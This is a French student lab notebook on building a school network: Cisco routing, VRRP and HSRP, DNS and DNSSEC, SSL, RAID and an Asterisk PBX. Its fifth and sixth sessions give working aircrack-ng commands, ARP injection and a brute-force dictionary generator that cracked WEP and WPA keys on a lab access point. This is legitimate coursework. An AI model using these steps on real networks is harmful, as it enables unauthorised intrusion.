<pre>root@Flash:~# ping 10.60.6.10
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms
</pre>

=====PCBX=====
Nous avons modifiés le fichier sip.conf : 
<pre>[general]
hasvoicemail=yes
hassip=yes
hasiax=yes
callwaiting=yes
threewaycalling=yes
callwaitingcallerid=yes
transfer=yes
canpark=yes
cancallforward=yes
callreturn=yes
callgroup=1
pickupgroup=1
nat=yes

[6001]
type=friend
host=dynamic
dtmfmode=rfc2833
disallow=all
allow=ulaw
fullname=ThomasStephane
username=trojSmaia
secret=secret
context=work</pre>

Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX: 
<pre>[work]
exten=>_6XXX,1,Dial(SIP/${EXTEN},20)
exten => _6XXX,2,Hangup()</pre>
Nous n'avons pas encore testé cette solution.

Cahier 2016 groupe n°5

2016-12-14T09:50:36Z

Smaia : /* Répartition du travail */

== Cahier des charges ==
=== Présentation du travail ===

==== Répartition du travail ====

{| class="wikitable alternance centre"
|-
! scope="row" | Séance 1 (03/10)
| Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau.
|-
! scope="row" | Séance 2 (10/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 3 (13/10)
| Création des VLAN - Bridge
|-
! scope="row" | Séance 4 (24/10)
| Test de la configuration locale
|-
! scope="row" | Séance 5 (07/11)
| Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP
|-
! scope="row" | Séance 6 (17/11 - additionnel)
| Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM
|-
! scope="row" | Séance 7 (28/11)
| RAID5 - Cryptage de données
|-
! scope="row" | Séance 8 (additionnel - 7-8/12/2016)
| Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP
|-
! scope="row" | Séance 9 (12/12)
| Configuration DHCP - PCBX
! scope="row" | Séance additionnelle (14/12/2016)
| Configuration PCBX
|-
|}

====Travail réalisé la 1ère séance ====

Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :
<pre>
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd
</pre>
Ainsi, nous obtenons ce résultat:
<pre>
Installation Summary
---------------------
Hostname : Flash
Distribution : jessie
MAC Address : 00:16:3E:49:8F:E5
IP Address(es) : 193.48.57.165
RSA Fingerprint : 5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db
Root Password : N/A
</pre>

==== Travail réalisé la 2e et 3e séance (2 séances) ====
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). 
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser. 
=====Configuration générale=====
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''. 
Lors de sa première mise en route, nous devons effectuer sa configuration générale : 
<pre> hostname cisco config hostname
enable secret reverse </pre>
Puis ensuite, nous pouvons passer à la configuration des VALNs.
=====Configuration des VLANs =====
Nous avons 12 VLANs à configurer : 
<ul>
<li> 11 VLANs (2-11) : VLAN correspondant aux différents groupes.</li>
<li> 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs</li>
<li> 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école</li></ul>
Sur l'interface physique du 4331, il y a 3 interfaces:
<ul>
<li> Gi 0/0/0 : disponible en cuivre et en fibre</li>
<li> Gi 0/0/1: disponible en cuivre</li>
<li> Gi 0/0/2: disponible en fibre</li></ul>

Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain. 
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2''' 

Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir. 
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:
<pre> interface GigabitEthernet 0/0/0.X </pre>
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :
<pre> int gi 0/0/0
service instance <n°VLAN> ethernet </pre>
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0. 
Nous pouvons alors créer nous sous interfaces:
<pre> int gi0/0/0
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2

service instance 3 ethernet
encapsulation dot1q 3
bridge-domain 3
...</pre>
<pre> int gi0/0/1
no ip address
negociation auto
service instance 2 ethernet
encapsulation dot1q 2
bridge-domain 2
...</pre>
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain. 

=====Configuration des bridge-domain=====
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain: 
<pre> bridge irb </pre>
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées : 
<pre> bridge 2 protocol ieee
bridge 2 route ip</pre>
Enfin, nous pouvons allouer des IP aux différents bridge domain : 
<pre>int BDI2
ip address 10.60.2.1 255.255.255.0</pre>

Et nous répétons ces opérations pour tous les bridge-domain. 
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.

====Travail réalisé la 4e séance====
=====Test 1=====
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. 
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc. 
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''. 
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: 
<pre># PCI device 0x14e4:0x1657 (tg3)
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:40", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth4"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:41", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth5"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:42", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth6"
SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="00:0a:f7:54:36:43", ATTR{dev_id}=="0x0", ATTR{type}=="1", KERNEL=="eth*", NAME="eth7"</pre>
 
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe. 
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk. 
'''Premier essai: FAIL''' 
=====Test 2=====
Et là, c'est le drame ... On ne ping rien ... 
On se demande donc d'où cela peut venir. 
======Première cause possible : La configuration de CORDOUAN======
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande: 
<pre>cdpr -d eth4
cdpr - Cisco Discovery Protocol Reporter
Version 2.4
Copyright (c) 2002-2010 - MonkeyMental.com

Using Device: eth4
Warning opening device (eth4: no IPv4 address assigned)
Waiting for CDP advertisement:
(default config is to transmit CDP packets every 60 seconds)
Device ID
value: Switch_E306
Addresses
Port ID
value: GigabitEthernet4/13</pre>
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13. 
======Deuxième cause possible: Le commutateur======
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).
======Dernière cause possible:Le routeur======
On se dit donc que le problème vient du routeur... 
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q. 
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance. 
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q. 
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:
<pre>rewrite ingress tag pop 1 symmetric</pre>
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.''' 
Résultat '''OK''' 
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle : 
<pre>ping 193.48.57.171
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms
^C
--- 193.48.57.171 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms</pre>
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.

====Travail réalisé la 5e séance====
=====Configuration IPv6=====
Nous avons donc pu commencer la configuration IPv6 de notre routeur. 
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64. 
La configuration est la suivante, pour chaque BDI: 
<pre>cisco(config)#int BDI6
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900
cisco(config-if)#ipv6 nd router-preference high
cisco(config-if)#ipv6 enable</pre>
=====Configuration OSPF (IPv4)=====
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici: 
<pre>router ospf 1
router-id 10.60.2.1
summary-address 10.60.0.0 255.255.0.0
summary-address 193.48.57.160 255.255.255.240
redistribute connected metric 30 subnets
network 192.168.222.0 0.0.0.7 area 1</pre>
=====Configuration RIP (IPv6)=====
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante: 
<pre>ipv6 router rip tpima5sc
redistribute connected metric 1
redistribute static metric 1
redistribute rip 1 metric 1</pre>
La prise en compte du protocole RIP dans la BDI130 est la suivante: 
<pre>interface BDI130
ip address 192.168.222.1 255.255.255.248
ipv6 address 2001:660:4401:60AA::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900
ipv6 nd router-preference High
ipv6 rip tpima5sc enable</pre>
Pour confirmer notre résultat, nous regardons la table de routage IPv6: 
<pre> cisco#sh ipv6 route
IPv6 Routing Table - default - 65 entries
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route
B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2
IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external
ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect
O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2
ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application
R ::/0 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:60::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6000::/56 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6002::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6003::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6004::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6005::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130
R 2001:660:4401:6006::/64 [120/2]
via FE80::211:5DFF:FEF2:5400, BDI130</pre>
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée. 
=====Configuration VRRP=====
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs. 
Voici la configuration VRRP de notre routeur: 
<pre>interface BDI2
ip address 10.60.2.1 255.255.255.0
ipv6 address 2001:660:4401:60B0::/64 eui-64
ipv6 enable
ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900
ipv6 nd router-preference High
vrrp 1 ip 10.60.2.3
vrrp 1 priority 110</pre>
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI. 
Nous pouvons voir si notre configuration VRRP est effective : 
<pre>cisco#sh vrrp
BDI12 - Group 1
State is Master
Virtual IP address is 193.48.57.173
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 193.48.57.171 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec

BDI2 - Group 1
State is Master
Virtual IP address is 10.60.2.3
Virtual MAC address is 0000.5e00.0101
Advertisement interval is 1.000 sec
Preemption enabled
Priority is 110
Master Router is 10.60.2.1 (local), priority is 110
Master Advertisement interval is 1.000 sec
Master Down interval is 3.570 sec
</pre>
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM. 

=====Craquage de clé WEP=====
On bascule d’abord la carte en mode monitor :
<pre> airmon-ng start xxxxxxxx </pre>
Ensuite on scan tous les réseaux wifi captés par cette même carte :
<pre> airodump-ng –encrypt wep wlan 0 </pre>
On obtient :
<pre>
CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

44:AD:D9:5F:87:00 -44 2 0 0 11 54e. WEP WEP Wolverine
04:DA:D2:9C:50:53 -66 2 0 0 13 54e. WEP WEP cracotte04
04:DA:D2:9C:50:55 -70 2 91 35 13 54e. WEP WEP cracotte06
04:DA:D2:9C:50:51 -69 4 33 13 13 54e. WEP WEP cracotte02
04:DA:D2:9C:50:57 -67 3 44 19 13 54e. WEP WEP cracotte08
04:DA:D2:9C:50:56 -69 2 38 11 13 54e. WEP WEP cracotte07
04:DA:D2:9C:50:54 -68 2 37 14 13 54e. WEP WEP cracotte05
04:DA:D2:9C:50:58 -70 2 175 70 13 54e. WEP WEP cracotte09
04:DA:D2:9C:50:50 -68 0 142 52 13 -1 WEP WEP <length: 0>
04:DA:D2:9C:50:52 -70 2 171 64 13 54e. WEP WEP cracotte03

BSSID STATION PWR Rate Lost Frames Probe

04:DA:D2:9C:50:55 00:0F:B5:92:23:6B -66 0 - 9e 1160 50
04:DA:D2:9C:50:51 00:0F:B5:92:24:51 -62 0 -48e 34 7
04:DA:D2:9C:50:57 00:0F:B5:92:22:66 -64 0 - 6e 31 6
04:DA:D2:9C:50:56 00:0F:B5:92:23:71 -66 0 -48e 60 6
04:DA:D2:9C:50:54 00:0F:B5:92:23:74 -70 0 -24e 52 11
04:DA:D2:9C:50:58 00:0F:B5:92:23:69 -62 0 -48e 12 140
</pre>

Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13 
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :
<pre> airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 </pre> 
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.
<pre> aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 </pre>
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : <pre>aircarck-ng out_ox.cap</pre> avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées.

On a alors réussi notre craquage au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[00:00:01] Tested 785 keys (got 1349085 IVs)

KB depth byte(vote)
0 0/ 2 EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520)
1 1/ 4 DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728)
2 47/ 2 DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480)
3 1/ 2 26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520)
4 4/ 4 F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ]
Decrypted correctly: 100%
</pre>

====Travail réalisé la 6e séance (additionnel) ====
=====Configuration HSRP=====
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP. 
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit: 
<pre>Sstandby 1 ip 10.60.X.3
standby 1 preempt
standby 1 priority 100</pre>

Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby ! 
<pre>BDI2 - Group 1 (version 2)
State is Standby
7 state changes, last state change 00:01:16
Virtual IP address is 10.60.2.3
Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)
Local virtual MAC address is 0000.0c9f.f001 (v2 default)
Hello time 3 sec, hold time 10 sec
Next hello sent in 0.128 secs
Preemption enabled
Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)
MAC address is d4d7.4842.53c1
Standby router is local
Priority 100 (default 100)
Group name is "Vlan2" (cfgd)</pre>
=====Craquage clé WPA =====

Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.
Pour le craquage WPA, il nous faut 2 éléments : 
- Un fichier d'échange contenant le handshake 
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.

Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :
<pre> airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55 wlan0 </pre>

Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake.

En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C.

<pre>
#include <stdio.h>
#include <stdlib.h>

int main(){
FILE *fp=fopen("dico.txt","w+");
int i =0;
for(i=0;i<=99999999;i++){
fprintf(fp,"%08d\n",i);
}
return 0;
}
</pre>

Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :
<pre> aircrack-ng -w dico.txt dump-02.cap </pre>
On obtient avec succès au bout de quelque minutes :
<pre>
Aircrack-ng 1.2 beta3

[01:01:47] 12399904 keys tested (3519.77 k/s)

KEY FOUND! [ 12399907 ]

Master Key : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD
D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23

Transient Key : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47
7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B
2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A
07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8

EAPOL HMAC : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9
</pre>
=====Configuration DNS=====
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space 
Ensuite, nous installons les paquets bind9, ainsi que apache2. 
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone) 
Voici la configuration de ces 2 fichiers : 
named.conf.local : 
<pre>zone "speedflash.space" {
type master;
file "/etc/bind/db.speedflash.space";
allow-transfer {217.70.177.40;};
};</pre>
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave. 
db.speedflash.space: 
<pre>;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.speedflash.space. root.speedflash.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.speedflash.space.
ns IN A 193.48.57.165
www IN A 193.48.57.165
</pre>
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM. 
Ensuite, pour faire fonctionner le tout, on relance bind : <pre> service bind9 restart </pre> 
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur : 
<pre>tail /var/log/daemon.log | grep named
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2
Nov 17 11:52:37 Flash named[1798]: all zones loaded
Nov 17 11:52:37 Flash named[1798]: running</pre>

=====Securisation de site par SSL=====
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande : 
<pre>openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr</pre>
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL : 
<pre>root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem</pre>
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat. 
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat : 
<pre>
root@Flash:/etc/bind# c_rehash /etc/ssl/certs
Doing /etc/ssl/certs
speedflash.space.crt => ac112f31.0
speedflash.space.crt => a88e5e47.0
GandiStandardSSLCA.pem => 0cad7ee9.0
GandiStandardSSLCA.pem => 3a57595e.0
ssl-cert-snakeoil.pem => 816e77e4.0
ssl-cert-snakeoil.pem => de4674a3.0</pre>
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : 
<pre>#NameVirtualHost *:443
<VirtualHost 193.48.57.165:443>
ServerName www.speedflash.space
ServerAlias speedflash.space
DocumentRoot /var/www/www.speedflash.space/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/speedflash.space.crt
SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem
SSLVerifyClient None
</VirtualHost>
<Directory /var/www/www.speedflash.space>
Require all granted
</Directory>
ServerName "speedflash.space"</pre>
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL): 
<pre>Listen 80 443

<IfModule ssl_module>
Listen 443
</IfModule>

#<IfModule mod_gnutls.c>
# Listen 443
#</IfModule>

#<IfModule mod_ssl.c>
# Listen 443
#NameVirtualHost *:443
#</IfModule></pre>
Il faut activer le module SSL de Apache : <pre> a2enmod ssl</pre> 
Nous pouvons donc activer notre Apache avec notre certificat : 
<pre>root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf
Enabling site 000-speedflash.space-ssl.
root@Flash:/etc/bind# service apache2 reload</pre>
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert. 
[[Fichier:SSLSite.png]]

=====Securisation de DNS par DNSSEC=====
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements. 
<pre> dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space </pre>
<pre> dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space </pre>
l'option -r /dev/urandom est ici pour accélérer la génération des clés 
Nous incluons les clés dans le fichier de zone db.speedflash.space : 
<pre>$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key</pre>
On signe donc la zone : 
<pre>root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked
../db.speedflash.space.signed</pre>
On ajoute le DNSSEC à Gandi : 
[[Fichier:Dns-gandi.png]] 
On vérifie que notre DNS est bien sécurisé en essayant la commande : 
<pre>root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost

; <<>> DiG 9.9.5-9+deb8u8-Debian <<>> DNSKEY speedflash.space @localhost
;; global options: +cmd
;; Got answer:
;; ->>HEADER<;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;speedflash.space. IN DNSKEY

;; ANSWER SECTION:
speedflash.space. 604800 IN DNSKEY 257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=
speedflash.space. 604800 IN DNSKEY 256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3</pre>
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé. 
====Travail réalisé la 7e séance====
=====Création du RAID5=====
On ajoute premièrement les partitions à la définition de la machine virtuelle: 
<pre>'phy:/dev/virtual/RedFlash,xvdb,w',
'phy:/dev/virtual/BlackFlash,xvdc,w',
'phy:/dev/virtual/ReverseFlash,xvdd,w'</pre>
Ensuite, on crée le RAID5 avec les 3 partitions : 
<pre>mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd</pre>
On vérifie en regardant le fichier de log /proc/mdstat : 
